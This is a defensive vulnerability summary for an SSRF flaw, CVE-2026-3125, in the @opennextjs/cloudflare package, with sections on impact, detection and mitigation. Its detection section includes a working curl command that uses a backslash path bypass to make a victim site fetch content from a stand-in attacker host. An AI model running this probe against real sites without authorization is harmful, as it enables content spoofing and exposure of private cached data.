Executive Summary

CVE-2026-3125 is a Server-Side Request Forgery (SSRF) vulnerability in the @opennextjs/cloudflare package caused by a path normalization bypass in the /cdn-cgi/image/ handler. The vulnerability arises because the worker template includes this handler for development only, and in production, Cloudflare's edge normally intercepts these requests. However, by replacing a forward slash with a backslash in the URL path (e.g., /cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass this interception and have the request reach the Worker directly.

The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. This allows attacker-controlled content to be served through the victim site's domain, violating the same-origin policy and potentially misleading users or services.

Additionally, this bypass can expose private assets stored under /cdn-cgi/ paths, which are normally not publicly accessible, by making them accessible through the backslash bypass. This could lead to exposure of private data such as incremental cache data stored by Open Next projects.

Useful 0 Not Useful 0

Impact Analysis

This vulnerability can impact you by allowing attackers to serve arbitrary remote content through your domain, violating the same-origin policy. This can mislead users or services into trusting malicious content as if it originated from your site.

It also enables attackers to access private assets stored under normally protected paths by exploiting the backslash bypass, potentially exposing sensitive or private data.

Overall, the impacts include phishing risks, exposure of internal or private resources, and abuse of your domain to proxy malicious content.

Useful 0 Not Useful 0

Compliance Impact

I don't know

Useful 0 Not Useful 0

Detection Guidance

This vulnerability can be detected by testing whether requests with backslashes in the path bypass Cloudflare's edge interception and reach the Worker directly. For example, sending a request to a URL like https://victim-site.com/cdn-cgi\image/ and observing if the Worker processes it can indicate the presence of the vulnerability.

Since browsers normalize backslashes to forward slashes, detection requires using HTTP clients that preserve backslashes in paths, such as curl with the --path-as-is option.

A sample command to test this behavior is:

• curl --path-as-is -v https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com

If the response includes content fetched from the attacker-controlled URL, it confirms the SSRF vulnerability via path normalization bypass.

Useful 0 Not Useful 0

Mitigation Strategies

Immediate mitigation steps include upgrading the @opennextjs/cloudflare package to version 1.3.0 or later, where the vulnerability has been fixed.

Additionally, use the remotePatterns filter in the Next.js configuration to allow-list external image URLs securely, preventing arbitrary remote URL loading.

Ensure that Cloudflare Workers and Cloudflare Pages are updated to restrict access to /cdn-cgi/ paths and prevent the backslash bypass.

If upgrading immediately is not possible, consider implementing server-side validation to reject requests containing backslashes in the path or normalize paths before processing.

Useful 0 Not Useful 0